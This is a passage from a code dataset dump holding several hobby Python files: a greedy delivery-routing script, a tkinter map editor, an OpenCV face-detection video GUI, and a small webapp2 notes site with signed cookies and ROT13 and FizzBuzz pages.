in enumerate(nodes):\r\n for j, v in enumerate(nodes):\r\n if j > i:\r\n self.dist_dict[(i, j)] = float(v[i])\r\n # print(i, j, '\\t', v[i])\r\n\r\n # O(n)\r\n # Loads table of packages into a hash table\r\n with open(\"WGUPS Package File.csv\", encoding=\"utf-8-sig\") as package_file:\r\n package_reader = csv.reader(package_file, delimiter=',')\r\n self.package_hash_table = HashTable(53)\r\n for row in package_reader:\r\n package = Package(*row)\r\n self.package_hash_table.insert(package.id_, package)\r\n\r\n def package_delivery(self, truck, bundle, check_time):\r\n # On each path taken, the appropriate amount of time is added to the Truck object's clock_time\r\n # If it exceeds user-input check_time, the function ends in order to view package statuses\r\n if truck.clock_time > check_time:\r\n return\r\n\r\n # Adds to truck the package and destination via hash table lookups in O(1) time\r\n for id_ in bundle:\r\n package = self.package_hash_table.search_package_by_id(id_)\r\n destination_id = self.location_hash_table.search_destination_id_by_package(package)\r\n truck.add_package(package, destination_id)\r\n\r\n # O(n²)\r\n # This is a greedy algorithm\r\n def greedy_choice(node=0):\r\n distance = self.LARGE_NUMBER\r\n\r\n # A node is considered visited when it is removed from delivery locations\r\n truck.remove_destination(node)\r\n while truck.clock_time < check_time:\r\n # Loops through all remaining nodes and chooses the path with the shortest distance\r\n for neighbor_node in truck.delivery_locations:\r\n temp = self.dist_dict.get((node, neighbor_node)) or self.dist_dict.get((neighbor_node, node))\r\n if temp < distance:\r\n distance = temp\r\n next_node = neighbor_node\r\n\r\n # If \"distance\" is unchanged or abnormally large, all other paths have\r\n # been exhausted and the final path taken is to the starting node.\r\n if distance < self.LARGE_NUMBER:\r\n truck.clock_time += timedelta(seconds=(distance / truck.SPEED_MPH) * 3600)\r\n\r\n greedy_choice(next_node)\r\n else:\r\n distance = self.dist_dict.get((node, 0)) or self.dist_dict.get((0, node))\r\n truck.clock_time += timedelta(seconds=(distance / truck.SPEED_MPH) * 3600)\r\n return truck.distance_traveled\r\n greedy_choice()\r\n\r\n def truck_routes(self, truck, bundle):\r\n # Adds to truck the package and destination via hash table lookups in O(1) time\r\n for id_ in bundle:\r\n package = self.package_hash_table.search_package_by_id(id_)\r\n destination_id = self.location_hash_table.search_destination_id_by_package(package)\r\n truck.add_package(package, destination_id)\r\n\r\n # Computes and prints clock time and mileage of truck\r\n def greedy_helper(distance, node, next_node):\r\n truck.clock_time += timedelta(seconds=(distance / truck.SPEED_MPH) * 3600)\r\n truck.distance_traveled += distance\r\n truck.distance_traveled = round(truck.distance_traveled, 2)\r\n print(truck.clock_time.strftime('%H:%M:%S'), \" \", truck.distance_traveled, \"\\t\", node,\r\n \" \\t-> \", next_node)\r\n\r\n # O(n²)\r\n # This is a greedy algorithm\r\n def greedy_choice(node=0):\r\n distance = self.LARGE_NUMBER\r\n\r\n # A node is considered visited when it is removed from delivery locations\r\n truck.remove_destination(node)\r\n\r\n # Loops through all remaining nodes and chooses the path with the shortest distance\r\n for neighbor_node in truck.delivery_locations:\r\n temp = self.dist_dict.get((node, neighbor_node)) or self.dist_dict.get((neighbor_node, node))\r\n if temp < distance:\r\n distance = temp\r\n next_node = neighbor_node\r\n\r\n # If \"distance\" is unchanged or abnormally large, all other paths have\r\n # been exhausted and the final path taken is to the starting node.\r\n if distance < self.LARGE_NUMBER:\r\n greedy_helper(distance, node, next_node)\r\n greedy_choice(next_node)\r\n else:\r\n distance = self.dist_dict.get((node, 0)) or self.dist_dict.get((0, node))\r\n greedy_helper(distance, node, 0)\r\n return truck.distance_traveled\r\n return greedy_choice()\r\n","sub_path":"DeliverySytem.py","file_name":"DeliverySytem.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"554162546","text":"#MapEditor\nimport sys\nimport os\nimport imghdr\nimport json\nimport tkinter as tk\nimport tkinter.filedialog\nfrom tkinter.constants import *\n\nfrom animap import Map\n\nVERSION = '3.0b'\n\nclass DummyMouseEvent:\n\n x = 0\n y = 0\n \n\nclass MapEditor:\n\n windows = 0\n\n def __init__(self, root, width=20, height=15, vwidth=640, vheight=480,\n tile_size=32):\n MapEditor.windows += 1\n self.map = Map(width, height, vwidth, vheight, tile_size)\n self.vwidth = vwidth\n self.vheight = vheight\n self.grid_width = self.map.width\n self.grid_height = self.map.height\n self.tile_size = tile_size\n self.root = root\n self.master = tk.Toplevel(root)\n self.master.resizable(0, 0)\n self.master.protocol('WM_DELETE_WINDOW', self.quit)\n self.master.title('Map Editor ' + VERSION)\n if os.name == 'nt':\n self.master.iconbitmap('icon.ico')\n elif os.name == 'posix':\n img = tk.PhotoImage(file='icon.png')\n self.master.tk.call('wm', 'iconphoto', self.master._w, img)\n self.show_grid = tk.BooleanVar()\n self.menubar = tk.Menu(self.master)\n self.master.config(menu=self.menubar)\n self.filemenu = tk.Menu(self.menubar, tearoff=0)\n self.filemenu.add_command(label='New...', command=self.new)\n self.filemenu.add_command(label='Open...', command=self.open)\n self.filemenu.add_command(label='Save', command=self.save)\n self.filemenu.add_command(label='Save As...', command=self.save_as)\n self.save_file = None\n self.modified = False\n self.filemenu.add_separator()\n self.filemenu.add_command(label='Properties...',\n command=self.properties)\n self.filemenu.add_separator()\n self.filemenu.add_command(label='Quit', command=self.quit)\n self.menubar.add_cascade(label='File', menu=self.filemenu)\n self.viewmenu = tk.Menu(self.menubar, tearoff=0)\n self.viewmenu.add_checkbutton(label='Show Grid', onvalue=True,\n offvalue=False, variable=self.show_grid,\n command=self.grid_view)\n self.menubar.add_cascade(label='View', menu=self.viewmenu)\n self.frame1 = tk.Frame(self.master)\n self.frame1.pack(side=LEFT)\n self.vbar = tk.Scrollbar(self.frame1)\n self.vbar.grid(row=0, column=1, sticky=N+S)\n self.hbar = tk.Scrollbar(self.frame1, orient=HORIZONTAL)\n self.hbar.grid(row=1, column=0, sticky=W+E)\n self.grid_frame = tk.Frame(self.frame1, bd=2, relief=RIDGE)\n self.grid_frame.grid(row=0, column=0)\n self.grid = tk.Canvas(self.grid_frame, width=vwidth,\n height=vheight,\n scrollregion=(0, 0, self.map.width * tile_size,\n self.map.height * tile_size))\n self.grid.pack()\n self.grid.bind('', self.place_tile)\n self.grid.bind('', self.place_tile)\n self.grid.bind('', self.del_tile)\n self.grid.bind('', self.del_tile)\n self.grid.bind('', self.place_alt_tile)\n self.grid.bind('', self.place_alt_tile)\n self.grid.config(xscrollcommand=self.hbar.set,\n yscrollcommand=self.vbar.set)\n self.vbar.config(command=self.grid.yview)\n self.hbar.config(command=self.grid.xview)\n self.frame2 = tk.Frame(self.master)\n self.frame2.pack(side=RIGHT, fill=BOTH, expand=1)\n self.title = tk.Message(self.frame2,\n text='Map Editor ' + VERSION + '\\n'\n 'Written by Westley Martínez\\n\\n'\n 'Copyright © 2013\\n'\n 'Released under the MIT License.')\n self.title.pack(fill=BOTH, expand=1)\n self.frame3 = tk.Frame(self.frame2)\n self.frame3.pack()\n self.p_vbar = tk.Scrollbar(self.frame3)\n self.p_vbar.grid(row=0, column=1, sticky=N+S)\n self.p_hbar = tk.Scrollbar(self.frame3, orient=HORIZONTAL)\n self.p_hbar.grid(row=1, column=0, sticky=W+E)\n self.palette_frame = tk.Frame(self.frame3, bd=1, relief=SUNKEN)\n self.palette_frame.grid(row=0, column=0)\n self.palette = tk.Canvas(self.palette_frame, width=128,\n height=vheight - 160,\n scrollregion=(0, 0, tile_size, vheight - 160))\n self.palette.pack()\n self.palette.bind('', self.palette_choose)\n self.palette.bind('', self.palette_choose_alt)\n self.open_file_b = tk.Button(self.frame2, text='Open Tile Set...',\n command=self.open_dir)\n self.open_file_b.pack(side=LEFT, padx=5, pady=5)\n self.palette.config(xscrollcommand=self.p_hbar.set,\n yscrollcommand=self.p_vbar.set)\n self.p_vbar.config(command=self.palette.yview)\n self.p_hbar.config(command=self.palette.xview)\n obj = self.palette.create_rectangle(0, 0, self.tile_size,\n self.tile_size, fill='blue')\n self.grid.image_list = []\n self.grid.file_list = []\n self.palette.list = []\n self.palette.file_list = []\n self.current_tile = None\n self.current_sheetindex = None\n self.current_tilename = None\n self.tile_cwd = None\n self.alt_tile = None\n self.alt_sheetindex = None\n self.alt_tilename = None\n self.alt_cwd = None\n for y in range(0, self.map.height * tile_size, tile_size):\n for x in range(0, self.map.width * tile_size, tile_size):\n DummyMouseEvent.x = x\n DummyMouseEvent.y = y\n self.del_tile(DummyMouseEvent)\n\n @staticmethod\n def detile(source, tile_size, index=None):\n if index is not None:\n x = tile_size * (index % (source.width() // tile_size))\n y = tile_size * (index // (source.width() // tile_size))\n tile = tk.PhotoImage()\n tile.tk.call(tile, 'copy', source, '-from', x, y, x + tile_size,\n y + tile_size, '-to', 0, 0)\n return tile\n tiles = []\n if (source.width() % tile_size != 0 or\n source.height() % tile_size != 0):\n return tiles\n i = 0\n for y in range(0, source.height(), tile_size):\n for x in range(0, source.width(), tile_size):\n tile = tk.PhotoImage()\n tile.tk.call(tile, 'copy', source, '-from', x, y,\n x + tile_size, y + tile_size, '-to', 0, 0)\n tiles.append((tile, i))\n i += 1\n return tiles\n\n def open_dir(self):\n tile_dir = tk.filedialog.askdirectory(parent=self.master)\n if not tile_dir:\n return\n tile_dir = os.path.normpath(tile_dir)\n x = 0\n y = 0\n self.palette.delete('all')\n self.palette.list = []\n obj = self.palette.create_rectangle(x, y, x + self.tile_size,\n y + self.tile_size, fill='blue')\n x += 1\n if x * self.tile_size >= 128:\n y += 1\n x = 0\n for file in sorted(os.listdir(tile_dir)):\n filename = os.path.join(tile_dir, file)\n if os.path.isdir(filename):\n continue\n if imghdr.what(filename) in ('gif', 'pgm', 'ppm', 'png'):\n source = tk.PhotoImage(file=filename)\n for tile, index in self.detile(source, self.tile_size):\n self.palette.create_image(x * self.tile_size,\n y * self.tile_size,\n image=tile, anchor=NW)\n self.palette.file_list.append(filename)\n self.palette.list.append((tile, index))\n x += 1\n if x * self.tile_size >= 128:\n y += 1\n x = 0\n self.palette.config(scrollregion=(0, 0, max(128, self.tile_size),\n y * self.tile_size))\n\n def new(self):\n self.master.wait_window(PropertiesDialog(self.master, 'new',\n root=self.root).top)\n\n def open(self):\n old_save = self.save_file\n self.save_file = tk.filedialog.askopenfilename(parent=self.master,\n filetypes=(('All Files', '*.*'),\n ('Map Editor File', '*.animap')))\n if not self.save_file:\n self.save_file = old_save\n return\n if self.modified:\n window = MapEditor(self.root)\n else:\n window = self\n with open(self.save_file) as f:\n window.map.set_structure(json.load(f))\n window.redraw()\n window.palette.delete('all')\n window.palette.create_rectangle(0, 0, window.tile_size,\n window.tile_size, fill='blue')\n window.modified = True\n\n def save(self):\n if self.save_file is None:\n if not self.save_as():\n return\n else:\n with open(self.save_file, mode='w') as f:\n json.dump(self.map.get_structure(), f, sort_keys=True,\n indent=4, separators=(',', ': '))\n\n def save_as(self):\n self.save_file = tk.filedialog.asksaveasfilename(parent=self.master,\n filetypes=(('All Files', '*.*'),\n ('Map Editor File', '*.animap')))\n # Get out if the user escaped!\n if not self.save_file:\n self.save_file = None\n return False\n self.save()\n return True\n\n def properties(self):\n self.master.wait_window(PropertiesDialog(self.master, 'old', self.map,\n self.map.width,\n self.map.height,\n self.map.vwidth,\n self.map.vheight).top)\n self.redraw()\n\n def quit(self):\n self.master.destroy()\n MapEditor.windows -= 1\n if MapEditor.windows == 0:\n self.root.quit()\n\n def grid_view(self):\n if self.show_grid.get():\n for y in range(0, self.vheight, self.tile_size):\n line = self.grid.create_line(0, y, self.vwidth, y, fill='grey')\n self.grid_view.lines.append(line)\n for x in range(0, self.vwidth, self.tile_size):\n line = self.grid.create_line(x, 0, x, self.vwidth, fill='grey')\n self.grid_view.lines.append(line)\n else:\n for line in self.grid_view.lines:\n self.grid.delete(line)\n grid_view.lines = []\n\n @staticmethod\n def _palette_choose(event, palette, old_tile, old_index,\n old_tilename, old_path, tile_size):\n try:\n x = int(palette.canvasx(event.x)) + 1\n y = int(palette.canvasy(event.y)) + 1\n i = (y // tile_size * max(1, 128 // tile_size) + x // tile_size)\n if i == 0:\n current_tile = None\n current_index = None\n tilename = None\n path = None\n else:\n current_tile = palette.list[i - 1][0]\n current_index = palette.list[i - 1][1]\n i -= current_index + 1\n tilename = os.path.basename(palette.file_list[i])\n path = os.path.dirname(palette.file_list[i])\n return current_tile, current_index, tilename, path\n except IndexError:\n return old_tile, old_index, old_tilename, old_path\n\n def palette_choose(self, event):\n (self.current_tile,\n self.current_sheetindex,\n self.current_tilename,\n self.tile_cwd) = self._palette_choose(event, self.palette,\n self.current_tile,\n self.current_sheetindex,\n self.current_tilename,\n self.tile_cwd,\n self.tile_size)\n\n def palette_choose_alt(self, event):\n (self.alt_tile,\n self.alt_sheetindex,\n self.alt_tilename,\n self.alt_cwd) = self._palette_choose(event, self.palette,\n self.alt_tile,\n self.alt_sheetindex,\n self.alt_tilename,\n self.alt_cwd,\n self.tile_size)\n\n @staticmethod\n def _place_tile(event, grid, current_tile, current_index, map_,\n tilename, cwd, tile_size, overwrite):\n x = int(grid.canvasx(event.x)) + 1\n y = int(grid.canvasy(event.y)) + 1\n if (x > map_.width * tile_size or\n y > map_.height * tile_size):\n return\n x = (x // tile_size) * tile_size\n y = (y // tile_size) * tile_size\n if current_tile is not None:\n grid.create_image(x, y, image=current_tile, anchor=NW)\n if current_tile not in grid.image_list:\n grid.image_list.append(current_tile)\n if overwrite:\n map_.add_tile(x // tile_size, y // tile_size, tilename,\n current_index)\n map_.add_file_path(cwd)\n else:\n grid.create_rectangle(x, y, x + tile_size, y + tile_size,\n fill='blue')\n if overwrite:\n map_.del_tile(x // tile_size, y // tile_size)\n\n def place_tile(self, event, overwrite=True):\n self.modified = True\n self._place_tile(event, self.grid, self.current_tile,\n self.current_sheetindex, self.map,\n self.current_tilename, self.tile_cwd, self.tile_size,\n overwrite)\n\n def place_alt_tile(self, event, overwrite=True):\n self.modified = True\n self._place_tile(event, self.grid, self.alt_tile,\n self.alt_sheetindex, self.map,\n self.alt_tilename, self.alt_cwd, self.tile_size,\n overwrite)\n\n def del_tile(self, event, overwrite=True):\n self._place_tile(event, self.grid, None, None, self.map, None, None,\n self.tile_size, overwrite)\n\n def redraw(self):\n self.width = self.map.width\n self.height = self.map.height\n self.vwidth = self.map.vwidth\n self.vheight = self.map.vheight\n self.tile_size = self.map.tile_size\n self.grid.delete('all')\n for y in range(self.height):\n for x in range(self.width):\n DummyMouseEvent.x = x * self.tile_size\n DummyMouseEvent.y = y * self.tile_size\n self.del_tile(DummyMouseEvent, overwrite=False)\n for label, index in self.map.get_tiles():\n filename = self.map.find_file(label)\n source = tk.PhotoImage(file=filename)\n tile = self.detile(source, self.tile_size, index)\n self.grid.image_list.append(tile)\n coords = self.map.get_tile_coords(label, index)\n for coord in coords:\n DummyMouseEvent.x = coord[0] * self.tile_size\n DummyMouseEvent.y = coord[1] * self.tile_size\n self._place_tile(DummyMouseEvent, self.grid, tile,\n index, self.map,\n os.path.basename(filename),\n os.path.dirname(filename), self.tile_size,\n overwrite=False)\n self.grid.config(scrollregion=(0, 0, self.map.width * self.tile_size,\n self.map.height * self.tile_size),\n width=self.map.vwidth, height=self.map.vheight)\n self.palette.config(height=(self.map.vheight - 160))\n\n\nclass PropertiesDialog:\n\n def __init__(self, parent, mode='new', map_=None, width=20, height=15,\n view_width=640, view_height=480, root=None):\n self.mode = mode\n if mode == 'new':\n confirm_text = 'Create'\n else:\n confirm_text = 'Modify'\n if mode != 'new':\n self.map = map_\n self.root = root\n self.top = tk.Toplevel(parent)\n self.top.protocol('WM_DELETE_WINDOW', self.cancel)\n if os.name == 'nt':\n self.top.iconbitmap('icon.ico')\n elif os.name == 'posix':\n img = tk.PhotoImage(file='icon.png')\n self.top.tk.call('wm', 'iconphoto', self.top._w, img)\n self.top.grab_set()\n self.top.focus_set()\n self.top.title('Map Properties')\n frame1 = tk.LabelFrame(self.top, text='Map Size (units)')\n frame1.pack(padx=5, pady=5)\n tk.Label(frame1, text='Width:').grid(row=0, column=0, sticky=W,\n padx=5, pady=5)\n vcmd = (parent.register(self.validate_int), '%P')\n varw = tk.StringVar(parent)\n varw.set(str(width))\n self.width = tk.Spinbox(frame1, from_=0, to=32767, increment=20,\n validate='focus', vcmd=vcmd, textvariable=varw)\n self.width.grid(row=0, column=1, padx=5, pady=5)\n self.width.focus()\n tk.Label(frame1, text='Height:').grid(row=1, column=0, sticky=W,\n padx=5, pady=5)\n varh = tk.StringVar(parent)\n varh.set(str(height))\n self.height = tk.Spinbox(frame1, from_=0, to=32767, increment=15,\n validate='focus', vcmd=vcmd, textvariable=varh)\n self.height.grid(row=1, column=1, padx=5, pady=5)\n frame2 = tk.LabelFrame(self.top, text='Viewscreen Size (pixels)')\n frame2.pack(padx=5, pady=5)\n varw = tk.StringVar(parent)\n varw.set(str(view_width))\n tk.Label(frame2, text='Width:').grid(row=0, column=0, sticky=W,\n padx=5, pady=5)\n self.view_width = tk.Spinbox(frame2, from_=0, to=32767, increment=320,\n validate='focus', vcmd=vcmd,\n textvariable=varw)\n self.view_width.grid(row=0, column=1, padx=5, pady=5)\n tk.Label(frame2, text='Height:').grid(row=1, column=0, sticky=W,\n padx=5, pady=5)\n varh = tk.StringVar(parent)\n varh.set(str(view_height))\n self.view_height = tk.Spinbox(frame2, from_=0, to=32767, increment=240,\n validate='focus', vcmd=vcmd,\n textvariable=varh)\n self.view_height.grid(row=1, column=1, padx=5, pady=5)\n var = tk.StringVar(parent)\n var.set('32')\n sframe = tk.LabelFrame(self.top, text='Pixels per Unit')\n sframe.pack(padx=5, pady=5)\n self.tile_size_scale = tk.Scale(sframe, from_=0, to=256,\n variable=var, tickinterval=32,\n length=256, orient=HORIZONTAL,\n resolution=8)\n self.tile_size_scale.pack(padx=5, pady=5)\n self.c_f_var = tk.BooleanVar()\n self.c_f_var.set(0)\n coarse_b = tk.Radiobutton(sframe, text='Coarse', variable=self.c_f_var,\n value=0, command=self.coarse_fine)\n coarse_b.pack(side=LEFT)\n fine_b = tk.Radiobutton(sframe, text='Fine', variable=self.c_f_var,\n value=1, command=self.coarse_fine)\n fine_b.pack(side=LEFT)\n if mode != 'new':\n sframe.config(fg='dim grey')\n self.tile_size_scale.config(state=DISABLED, fg='dim grey')\n coarse_b.config(state=DISABLED)\n fine_b.config(state=DISABLED)\n bframe = tk.Frame(self.top)\n bframe.pack(side=RIGHT)\n b = tk.Button(bframe, text=confirm_text, command=self.confirm)\n b.pack(side=LEFT, padx=5, pady=5)\n if root:\n b = tk.Button(bframe, text='Open...', command=self.open)\n b.pack(side=LEFT, padx=5, pady=5)\n else:\n b = tk.Button(bframe, text='Cancel', command=self.cancel)\n b.pack(side=LEFT, padx=5, pady=5)\n\n def coarse_fine(self):\n if self.c_f_var.get():\n self.tile_size_scale.config(resolution=1)\n else:\n self.tile_size_scale.config(resolution=8)\n\n def validate_int(self, value):\n try:\n if int(value) > 0:\n return True\n else:\n return False\n except ValueError:\n return False\n\n def confirm(self):\n width = int(self.width.get())\n height = int(self.height.get())\n vwidth = int(self.view_width.get())\n vheight = int(self.view_height.get())\n tile_size = int(self.tile_size_scale.get())\n if self.mode == 'new':\n self.top.destroy()\n MapEditor(self.root, width, height, vwidth, vheight, tile_size)\n return\n self.map.vwidth = vwidth\n self.map.vheight = vheight\n if width < self.map.width or height < self.map.height:\n yes = tk.messagebox.askyesno('Map Editor',\n 'Modifiying the map will remove any '\n 'tiles out of bounds. Do you want to '\n 'continue?', icon='warning')\n if not yes:\n self.top.lift()\n return\n self.map.set_width(width)\n self.map.set_height(height)\n self.top.destroy()\n\n def open(self):\n save_file = tk.filedialog.askopenfilename(parent=self.top,\n filetypes=(('All Files', '*.*'),\n ('Map Editor File', '*.animap')))\n if not save_file:\n return\n window = MapEditor(self.root)\n with open(save_file) as f:\n window.map.set_structure(json.load(f))\n window.redraw()\n window.modified = True\n self.cancel()\n\n def cancel(self):\n self.top.destroy()\n if MapEditor.windows == 0:\n self.root.destroy()\n\n\ndef main():\n root = tk.Tk()\n root.withdraw()\n PropertiesDialog(root, mode='new', root=root)\n tk.mainloop()\n return 0\n\nif __name__ == '__main__':\n try:\n sys.exit(main())\n except SystemExit:\n pass\n except:\n raise\n","sub_path":"Map Generator_OLD/mapeditor.pyw","file_name":"mapeditor.pyw","file_ext":"pyw","file_size_in_byte":23163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"605812669","text":"import cv2\nimport numpy as np\nfrom tkinter import *\nfrom PIL import Image\nfrom PIL import ImageTk\nfrom tkinter import filedialog\n\n\n\n#레이어의 설계도 또는 전체적인 설계 모델\nmodel_name = \"res10_300x300_ssd_iter_140000.caffemodel\"\n#레이어별 속성값, 레이어들의 구성을 나열\nprototxt_name = \"deploy.prototxt.txt\"\n\nmin_confidence = 0.13\nfile_name = \"video/obama_01.mp4\"\ntitle_name = \"dnn Deep Learning object detection\"\nframe_width = 600\nframe_height = 300\ncap = cv2.VideoCapture(file_name)\nret, frame = cap.read()\nh, w = frame.shape[:2]\nisrunning = True\nmodel = cv2.dnn.readNetFromCaffe(prototxt_name, model_name)\n\ndef selectFile() :\n global cap,isrunning, w, h\n cap = cv2.VideoCapture(filedialog.askopenfilename(initialdir = \"d:/dh/python_atom/computervision/video\", title=\"Select file\", filetypes=((\"MP4 files\", \"*.mp4\"), (\"all files\",\"*.*\"))))\n ret, frame = cap.read()\n h, w = frame.shape[:2]\n if not isrunning :\n isrunning = True\n detectAndDisplay()\n\n\n\ndef detectAndDisplay() :\n global cap, isrunning, model, min_confidence, w, h\n ret, frame = cap.read()\n if frame is None :\n print(\"--(!) No capture frame -- Break\")\n isrunning = False\n return\n #전처리\n blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))\n model.setInput(blob)\n detections = model.forward()\n for i in range(0, detections.shape[2]) :\n confidence = detections[0, 0, i, 2]\n if confidence > min_confidence :\n box = detections[0, 0, i, 3:7]*np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n text = \"{:.2f}%\".format(confidence*100)\n y = startY - 10 if startY -10 > 10 else startY+10\n cv2.rectangle(frame, (startX, startY), (endX, endY), (0, 255, 0), 2 )\n cv2.putText(frame, text, (startX, y), cv2.FONT_HERSHEY_SIMPLEX, (w/frame_width)*0.5, (0, 255, 0), int(w/frame_width)*2)\n img = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (frame_width, frame_height))\n img = Image.fromarray(img)\n imgtk = ImageTk.PhotoImage(image=img)\n lmain.imgtk = imgtk\n lmain.configure(image=imgtk)\n lmain.after(1, detectAndDisplay)\n\ndef set_con() :\n global min_confidence\n min_confidence = float(sizeSpin.get())\n print(min_confidence)\n\n\n#main\nmain = Tk()\nmain.title(title_name)\nmain.geometry()\n\n#GUI\n# 0,0 ~ 0, 4\nlabel = Label(main, text=title_name)\nlabel.config(font=(\"Courier\", 18))\nlabel.grid(row=0, column=0, columnspan=4)\n\nsizeLabel = Label(main, text=\"Min Confidence : \")\nsizeLabel.grid(row=1, column=0)\nsizeVal = IntVar(value=min_confidence)\n\n#0% 부터 100%까지 0.05씩 증가하며 정렬은 오른쪽정렬\nsizeSpin = Spinbox(main, textvariable=sizeVal, from_=0, to=1, increment=0.01, justify=RIGHT, command=set_con)\nsizeSpin.grid(row=1, column=1)\nButton(main, text=\"File Select\", height=2, command=lambda : selectFile()).grid(row=1, column=2, columnspan=2, sticky=(W, E))\n\n# 2, 0 ~ 2, 4\n\nimageFrame = Frame(main)\nimageFrame.grid(row=2, column=0, columnspan=4)\nlmain = Label(imageFrame)\nlmain.grid(row=0, column=0)\n\ndetectAndDisplay()\n\n#Capture video frames\n\n\nmain.mainloop()\n","sub_path":"computervision/dnn_face_video_gui.py","file_name":"dnn_face_video_gui.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"308452791","text":"import webapp2\nimport jinja2\nimport os\nimport string\nimport time\nimport json\nimport re\nimport random\nimport hashlib\nimport hmac\nfrom google.appengine.ext import db\nfrom string import letters\nimport urllib\n\nsecret = 'encrypted'\n\ndef hash_str(s):\n return hmac.new(secret, s).hexdigest()\n\ndef make_secure_val(s):\n return '%s|%s' % (s, hash_str(s))\n\ndef check_secure_val(h):\n val = h.split('|')[0]\n if h == make_secure_val(val):\n return val\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),\n autoescape = True)\n\nclass Handler(webapp2.RequestHandler):\n def write(self, *a, **kw):\n self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n self.write(self.render_str(template, **kw))\n\n def set_cookie(self, name, val):\n cookie_val = make_secure_val(val)\n self.response.headers.add_header(\n 'Set-Cookie',\n '%s=%s; Path=/' % (name, cookie_val))\n\n def read_cookie(self, name):\n cookie_val = self.request.cookies.get(name)\n return cookie_val and check_secure_val(cookie_val)\n\nclass Posts(db.Model):\n name = db.StringProperty(required = True)\n email = db.StringProperty(required = True)\n subject = db.StringProperty(required = True)\n content = db.TextProperty(required = True)\n note_date = db.DateTimeProperty(auto_now_add = True)\n\nclass VisitsLog(db.Model):\n time = db.DateTimeProperty(auto_now_add = True)\n ip = db.StringProperty()\n\nclass Index(Handler):\n def get(self):\n ip = self.request.remote_addr\n visits_log = VisitsLog(ip = ip)\n visits_log.put()\n\n visits = 0\n vis_cookie_str = self.request.cookies.get('visits')\n if vis_cookie_str:\n vis_cookie_val = check_secure_val(vis_cookie_str)\n if vis_cookie_val:\n visits = int(vis_cookie_val)\n\n visits += 1\n new_vis_cookie_val = make_secure_val(str(visits))\n\n self.response.headers.add_header('Set-Cookie',\n 'visits=%s' % new_vis_cookie_val)\n \n self.render(\"index.html\", ind_act=\"active\",\n visits=visits)\n\nclass Notes(Handler): \n notes = db.GqlQuery(\"\"\"SELECT * FROM Posts\n ORDER BY note_date DESC\"\"\") \n \n def get(self): \n self.render(\"notes.html\", not_act=\"active\",\n error=\"\", name_er=\"\", name=\"\", email_er=\"\", email=\"\",\n subject_er=\"\", subject=\"\",\n cont_er=\"\", content=\"\", notes=self.notes)\n\n def post(self):\n name = self.request.get(\"name\")\n user_email = self.request.get(\"email\")\n user_subject = self.request.get(\"subject\")\n user_content = self.request.get(\"content\") \n\n name = valid_name(name)\n email = valid_email(user_email)\n subject = valid_subject(user_subject)\n content = valid_content(user_content)\n\n error_st = ['', '', '', '']\n wrong_data = False\n\n data_errors = [[name, \"Name should contain 3-15 characters\"],\n [email, \"Email is not correct\"],\n [subject, \"Subject shouldn't be empty or longer than 50 characters\"],\n [content, \"Note should contain 10-3000 characters\"]]\n\n for [i, j] in data_errors:\n if not i:\n pos = data_errors.index([i, j])\n error_st[pos] = data_errors[pos][1]\n wrong_data = True\n\n if wrong_data:\n self.render(\"notes.html\", not_act=\"active\",\n name_er=error_st[0], name=name,\n email_er=error_st[1], email=user_email,\n subj_er=error_st[2], subject=user_subject,\n cont_er=error_st[3], content=user_content,\n notes=self.notes)\n else:\n content = content.replace('\\n', '
    ')\n user_post = Posts(name=name, email=email, subject=subject,\n content=content)\n user_post.put()\n time.sleep(0.1)\n self.redirect(\"/notes\")\n\nclass Stuff(Handler):\n def get(self):\n self.render(\"stuff.html\", stf_act=\"active\")\n\nclass Rot13(Handler):\n def get(self):\n self.render(\"rot13.html\", stf_act=\"active\", rot13_er = \"\", text=\"\")\n\n def post(self):\n text = self.request.get(\"text\")\n if len(text) < 3000:\n self.render(\"rot13.html\", stf_act=\"active\", rot13_er = \"\", text=rot13(text))\n else:\n rot13_er = \"Please enter text shorter than 3000 characters\"\n self.render(\"rot13.html\", stf_act=\"active\", rot13_er = rot13_er, text = text)\n\nclass FizzBuzz(Handler):\n def get(self):\n self.render(\"fizzbuzz.html\", stf_act=\"active\", number=\"\", number_er=\"\", n=0)\n\n def post(self):\n n = self.request.get(\"number\")\n if re.match(\"^[0-9]{1,3}$\", n):\n self.render(\"fizzbuzz.html\", stf_act=\"active\", number=n, number_er=\"\", n=int(n)) \n else:\n number_er = \"Please enter an integer number less than 1000\"\n self.render(\"fizzbuzz.html\", stf_act=\"active\", number=\"\", number_er=number_er, n=0)\n\napp = webapp2.WSGIApplication([('/', Index),\n ('/index', Index),\n ('/notes', Notes),\n ('/stuff', Stuff),\n ('/stuff/rot13', Rot13),\n ('/stuff/fizzbuzz', FizzBuzz)],\n debug=True)\n\ndef valid_name(name):\n if 3 <= len(name) <= 15:\n return name\n else:\n return \"\"\n\ndef valid_email(email):\n if re.search('\\S+@\\S+[.]\\S{2,}', email) and len(email) <= 254:\n return email\n else:\n return \"\"\n\ndef valid_subject(subject):\n if 3 <= len(subject) <= 50:\n return subject\n else:\n return \"\"\n\ndef valid_content(content):\n if 10 <= len(content) <= 3000:\n return content\n else:\n return \"\"\n\ndef rot13(text):\n rot13_text = ''\n alphabet = string.ascii_lowercase * 2\n \n for i in text:\n if i.lower() in alphabet:\n new_pos = alphabet.index(i.lower()) + 13\n if i.isupper():\n rot13_text += alphabet[new_pos].upper()\n elif i.islower():\n rot13_text += alphabet[new_pos].lower()\n\n else:\n rot13_text += i\n \n return rot13_text\n\ndef make_salt():\n alph = string.letters\n salt_len = random.randint(6, len(alph))\n return ''.join(random.choice(alph) for i in range(salt_len))\n\ndef make_pw_hash(name, pw, salt = None):\n if not salt:\n salt = make_salt()\n HASH = hashlib.sha256(name + pw + salt).hexdigest()\n return '%s|%s' % (HASH, salt)\n\ndef valid_pw(name, pw, h):\n salt = 